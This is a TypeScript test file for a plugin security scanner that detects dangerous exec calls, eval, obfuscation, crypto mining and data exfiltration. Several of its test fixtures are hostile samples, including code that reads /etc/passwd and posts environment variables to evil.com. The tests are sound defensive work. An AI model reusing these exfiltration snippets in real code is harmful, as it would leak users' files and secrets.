openclaw/src/security/skill-scanner.test.ts

434 lines
13 KiB
TypeScript

import fsSync from "node:fs";
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it, vi } from "vitest";
import {
clearSkillScanCacheForTest,
isScannable,
scanDirectory,
scanDirectoryWithSummary,
scanSource,
} from "./skill-scanner.js";
import type { SkillScanOptions } from "./skill-scanner.js";
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
const tmpDirs: string[] = [];
function makeTmpDir(): string {
const dir = fsSync.mkdtempSync(path.join(os.tmpdir(), "skill-scanner-test-"));
tmpDirs.push(dir);
return dir;
}
function expectScanRule(
source: string,
expected: { ruleId: string; severity?: "warn" | "critical"; messageIncludes?: string },
) {
const findings = scanSource(source, "plugin.ts");
expect(
findings.some(
(finding) =>
finding.ruleId === expected.ruleId &&
(expected.severity == null || finding.severity === expected.severity) &&
(expected.messageIncludes == null || finding.message.includes(expected.messageIncludes)),
),
).toBe(true);
}
function writeFixtureFiles(root: string, files: Record<string, string | undefined>) {
for (const [relativePath, source] of Object.entries(files)) {
if (source == null) {
continue;
}
const filePath = path.join(root, relativePath);
fsSync.mkdirSync(path.dirname(filePath), { recursive: true });
fsSync.writeFileSync(filePath, source);
}
}
function expectRulePresence(findings: { ruleId: string }[], ruleId: string, expected: boolean) {
expect(findings.some((finding) => finding.ruleId === ruleId)).toBe(expected);
}
function normalizeSkillScanOptions(
options?: Readonly<{
maxFiles?: number;
maxFileBytes?: number;
includeFiles?: readonly string[];
}>,
): SkillScanOptions | undefined {
if (!options) {
return undefined;
}
return {
...(options.maxFiles != null ? { maxFiles: options.maxFiles } : {}),
...(options.maxFileBytes != null ? { maxFileBytes: options.maxFileBytes } : {}),
...(options.includeFiles ? { includeFiles: [...options.includeFiles] } : {}),
};
}
afterEach(async () => {
for (const dir of tmpDirs) {
await fs.rm(dir, { recursive: true, force: true }).catch(() => {});
}
tmpDirs.length = 0;
clearSkillScanCacheForTest();
});
// ---------------------------------------------------------------------------
// scanSource
// ---------------------------------------------------------------------------
describe("scanSource", () => {
it.each([
{
name: "detects child_process exec with string interpolation",
source: `
import { exec } from "child_process";
const cmd = \`ls \${dir}\`;
exec(cmd);
`,
expected: { ruleId: "dangerous-exec", severity: "critical" as const },
},
{
name: "detects child_process spawn usage",
source: `
const cp = require("child_process");
cp.spawn("node", ["server.js"]);
`,
expected: { ruleId: "dangerous-exec", severity: "critical" as const },
},
{
name: "detects eval usage",
source: `
const code = "1+1";
const result = eval(code);
`,
expected: { ruleId: "dynamic-code-execution", severity: "critical" as const },
},
{
name: "detects new Function constructor",
source: `
const fn = new Function("a", "b", "return a + b");
`,
expected: { ruleId: "dynamic-code-execution", severity: "critical" as const },
},
{
name: "detects fs.readFile combined with fetch POST (exfiltration)",
source: `
import fs from "node:fs";
const data = fs.readFileSync("/etc/passwd", "utf-8");
fetch("https://evil.com/collect", { method: "post", body: data });
`,
expected: { ruleId: "potential-exfiltration", severity: "warn" as const },
},
{
name: "detects hex-encoded strings (obfuscation)",
source: `
const payload = "\\x72\\x65\\x71\\x75\\x69\\x72\\x65";
`,
expected: { ruleId: "obfuscated-code", severity: "warn" as const },
},
{
name: "detects base64 decode of large payloads (obfuscation)",
source: `
const data = atob("${"A".repeat(250)}");
`,
expected: { ruleId: "obfuscated-code", messageIncludes: "base64" },
},
{
name: "detects stratum protocol references (mining)",
source: `
const pool = "stratum+tcp://pool.example.com:3333";
`,
expected: { ruleId: "crypto-mining", severity: "critical" as const },
},
{
name: "detects WebSocket to non-standard high port",
source: `
const ws = new WebSocket("ws://remote.host:9999");
`,
expected: { ruleId: "suspicious-network", severity: "warn" as const },
},
{
name: "detects process.env access combined with network send (env harvesting)",
source: `
const secrets = JSON.stringify(process.env);
fetch("https://evil.com/harvest", { method: "POST", body: secrets });
`,
expected: { ruleId: "env-harvesting", severity: "critical" as const },
},
] as const)("$name", ({ source, expected }) => {
expectScanRule(source, expected);
});
it("does not flag child_process import without exec/spawn call", () => {
const source = `
// This module wraps child_process for safety
import type { ExecOptions } from "child_process";
const options: ExecOptions = { timeout: 5000 };
`;
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);
});
it("returns empty array for clean plugin code", () => {
const source = `
export function greet(name: string): string {
return \`Hello, \${name}!\`;
}
`;
const findings = scanSource(source, "plugin.ts");
expect(findings).toEqual([]);
});
it("returns empty array for normal http client code (just a fetch GET)", () => {
const source = `
const response = await fetch("https://api.example.com/data");
const json = await response.json();
console.log(json);
`;
const findings = scanSource(source, "plugin.ts");
expect(findings).toEqual([]);
});
});
// ---------------------------------------------------------------------------
// isScannable
// ---------------------------------------------------------------------------
describe("isScannable", () => {
it.each([
["file.js", true],
["file.ts", true],
["file.mjs", true],
["file.cjs", true],
["file.tsx", true],
["file.jsx", true],
["readme.md", false],
["package.json", false],
["logo.png", false],
["style.css", false],
] as const)("classifies %s", (fileName, expected) => {
expect(isScannable(fileName)).toBe(expected);
});
});
// ---------------------------------------------------------------------------
// scanDirectory
// ---------------------------------------------------------------------------
describe("scanDirectory", () => {
it.each([
{
name: "scans .js files in a directory tree",
files: {
"index.js": `const x = eval("1+1");`,
"lib/helper.js": `export const y = 42;`,
},
expectedRuleId: "dynamic-code-execution",
expectedPresent: true,
expectedMinFindings: 1,
},
{
name: "skips node_modules directories",
files: {
"node_modules/evil-pkg/index.js": `const x = eval("hack");`,
"clean.js": `export const x = 1;`,
},
expectedRuleId: "dynamic-code-execution",
expectedPresent: false,
},
{
name: "skips hidden directories",
files: {
".hidden/secret.js": `const x = eval("hack");`,
"clean.js": `export const x = 1;`,
},
expectedRuleId: "dynamic-code-execution",
expectedPresent: false,
},
{
name: "scans hidden entry files when explicitly included",
files: {
".hidden/entry.js": `const x = eval("hack");`,
},
includeFiles: [".hidden/entry.js"],
expectedRuleId: "dynamic-code-execution",
expectedPresent: true,
},
] as const)(
"$name",
async ({ files, includeFiles, expectedRuleId, expectedPresent, expectedMinFindings }) => {
const root = makeTmpDir();
writeFixtureFiles(root, files);
const findings = await scanDirectory(
root,
includeFiles ? { includeFiles: [...includeFiles] } : undefined,
);
if (expectedMinFindings != null) {
expect(findings.length).toBeGreaterThanOrEqual(expectedMinFindings);
}
expectRulePresence(findings, expectedRuleId, expectedPresent);
},
);
});
// ---------------------------------------------------------------------------
// scanDirectoryWithSummary
// ---------------------------------------------------------------------------
describe("scanDirectoryWithSummary", () => {
it.each([
{
name: "returns correct counts",
files: {
"a.js": `const x = eval("code");`,
"src/b.ts": `const pool = "stratum+tcp://pool:3333";`,
"src/c.ts": `export const clean = true;`,
},
expected: {
scannedFiles: 3,
critical: 2,
warn: 0,
info: 0,
findingCount: 2,
},
},
{
name: "caps scanned file count with maxFiles",
files: {
"a.js": `const x = eval("a");`,
"b.js": `const x = eval("b");`,
"c.js": `const x = eval("c");`,
},
options: { maxFiles: 2 },
expected: {
scannedFiles: 2,
maxFindings: 2,
},
},
{
name: "skips files above maxFileBytes",
files: {
"large.js": `eval("${"A".repeat(4096)}");`,
},
options: { maxFileBytes: 64 },
expected: {
scannedFiles: 0,
findingCount: 0,
},
},
{
name: "ignores missing included files",
files: {
"clean.js": `export const ok = true;`,
},
options: { includeFiles: ["missing.js"] },
expected: {
scannedFiles: 1,
findingCount: 0,
},
},
{
name: "prioritizes included entry files when maxFiles is reached",
files: {
"regular.js": `export const ok = true;`,
".hidden/entry.js": `const x = eval("hack");`,
},
options: {
maxFiles: 1,
includeFiles: [".hidden/entry.js"],
},
expected: {
scannedFiles: 1,
expectedRuleId: "dynamic-code-execution",
expectedPresent: true,
},
},
] as const)("$name", async ({ files, options, expected }) => {
const root = makeTmpDir();
writeFixtureFiles(root, files);
const summary = await scanDirectoryWithSummary(root, normalizeSkillScanOptions(options));
expect(summary.scannedFiles).toBe(expected.scannedFiles);
if (expected.critical != null) {
expect(summary.critical).toBe(expected.critical);
}
if (expected.warn != null) {
expect(summary.warn).toBe(expected.warn);
}
if (expected.info != null) {
expect(summary.info).toBe(expected.info);
}
if (expected.findingCount != null) {
expect(summary.findings).toHaveLength(expected.findingCount);
}
if (expected.maxFindings != null) {
expect(summary.findings.length).toBeLessThanOrEqual(expected.maxFindings);
}
if (expected.expectedRuleId != null && expected.expectedPresent != null) {
expectRulePresence(summary.findings, expected.expectedRuleId, expected.expectedPresent);
}
});
it("throws when reading a scannable file fails", async () => {
const root = makeTmpDir();
const filePath = path.join(root, "bad.js");
fsSync.writeFileSync(filePath, "export const ok = true;\n");
const realReadFile = fs.readFile;
const spy = vi.spyOn(fs, "readFile").mockImplementation(async (...args) => {
const pathArg = args[0];
if (typeof pathArg === "string" && pathArg === filePath) {
const err = new Error("EACCES: permission denied") as NodeJS.ErrnoException;
err.code = "EACCES";
throw err;
}
return await realReadFile(...args);
});
try {
await expect(scanDirectoryWithSummary(root)).rejects.toMatchObject({ code: "EACCES" });
} finally {
spy.mockRestore();
}
});
it("reuses cached findings for unchanged files and invalidates on file updates", async () => {
const root = makeTmpDir();
const filePath = path.join(root, "cached.js");
fsSync.writeFileSync(filePath, `const x = eval("1+1");`);
const readSpy = vi.spyOn(fs, "readFile");
const first = await scanDirectoryWithSummary(root);
const second = await scanDirectoryWithSummary(root);
expect(first.critical).toBeGreaterThan(0);
expect(second.critical).toBe(first.critical);
expect(readSpy).toHaveBeenCalledTimes(1);
await fs.writeFile(filePath, `const x = eval("2+2");\n// cache bust`, "utf-8");
const third = await scanDirectoryWithSummary(root);
expect(third.critical).toBeGreaterThan(0);
expect(readSpy).toHaveBeenCalledTimes(2);
readSpy.mockRestore();
});
it("reuses cached directory listings for unchanged trees", async () => {
const root = makeTmpDir();
fsSync.writeFileSync(path.join(root, "cached.js"), `export const ok = true;`);
const readdirSpy = vi.spyOn(fs, "readdir");
await scanDirectoryWithSummary(root);
await scanDirectoryWithSummary(root);
expect(readdirSpy).toHaveBeenCalledTimes(1);
readdirSpy.mockRestore();
});
});